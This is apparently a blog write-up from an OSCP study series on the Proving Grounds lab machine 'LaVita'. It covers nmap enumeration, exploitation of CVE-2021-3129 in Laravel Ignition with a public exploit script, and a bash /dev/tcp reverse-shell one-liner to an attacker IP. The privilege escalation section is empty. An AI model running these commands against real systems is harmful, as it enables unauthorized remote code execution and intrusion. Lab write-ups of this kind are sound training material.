Braindump
Read BlogpostsLet's Connect
  • Introduction: My OSCP Journey
  • Writeup Index
  • OSCP Machine Writeups
    • 🔥PG - Practice
      • Shenzi
      • DVR4
      • Resourced
      • Kevin
      • Nara
      • Jacko
      • Authby
      • Access
      • Internal
      • Hutch
      • Algernon
      • HelpDesk
      • Squid
      • Hepet
      • Craft2
      • ClamAV
      • Pelican
      • Payday
      • Snookums
      • Bratarina
      • Nibbles
      • Hetemit
      • Hawat
      • Astronaut
      • Exfiltrated
      • Fanatastic
      • Wombo
      • Levram
      • LaVita
    • 💣HackTheBox
      • Devel
      • Legacy
      • Intelligence
        • Learning
      • Blackfield
        • PrivEsc - SeBackupPrivilege
      • Sauna
      • Bastard
      • Arctic
      • Forest
      • Active
      • SecNotes
      • Access
  • Preparation Notes
    • Tips and Tricks
      • File Transfer
      • Download a file - Windows CLI
      • Bypassing Firewall/Defender/UAC
      • Accessing File
      • Reverse Shell
      • OneLiner - Reverse/bind Shell
      • OneLiner - MSFVenom
    • Enumeration Techniques
      • System and Network Enumeration
      • Web Enumeration
      • Service Enum
      • CMS
    • Exploitation
      • Exploiting Web Apps
      • Exploiting Wordpress
      • Public Exploits
    • Privilege Escalation
      • Linux Privilege Escalation
        • Disk Group PrivEsc
      • Windows Privilege Escalation
    • Active Directory
      • Enumeration
      • AD Attacks
      • mimikatz
      • Lateral movement
    • Pivoting and Networking
      • SSH Port Forwarding
      • Ligolo-ng
    • Password Cracking
Powered by GitBook
On this page
  • Summary
  • 🧵 Let's Unpack

Was this helpful?

  1. OSCP Machine Writeups
  2. PG - Practice

LaVita

PreviousLevramNextHackTheBox

Last updated 1 month ago

Was this helpful?

Summary

  • Only two open ports: SSH (22) and a Laravel-based web app on port 80.

  • Identified Laravel log file path on the web server.

  • Leveraged CVE-2021-3129 – avia log poisoning and debugging mode.

  • Achieved code execution through poisoned logs.

  • Got reverse shell by modifying the exploit payload.

🧵 Let's Unpack


Enumeration

sudo nmap -A -T4 -sV -sC -p- -Pn 192.168.229.38 --open

Open Ports:

  • 22/tcp → OpenSSH 8.4p1 Debian

  • 80/tcp → Apache 2.4.56 (Laravel app)

👀 Observed a default W3.CSS template on HTTP page.

Manually enumerating team names from the web app:

  • Jan Ringo

  • Kai Ringo

  • Rebecca Flex

  • Johnny Skunk

Useful for wordlists or user enumeration later.


Initial Foothold

🧨 Vulnerable Laravel app — exploited CVE-2021-3129 (Ignition RCE via log file):

Public exploit used: → Laravel Ignition RCE Exploit

python3 49424.py http://192.168.229.38 /var/www/html/laravel/storage/logs/laravel.log 'uname -a'

📌 After verifying command execution, updated payload with reverse shell:

bash -c "bash -i >& /dev/tcp/192.168.45.240/4444 0>&1"

Got a reverse shell from the web server.


Privilege Escalation

🔥
Laravel deserialization RCE vulnerability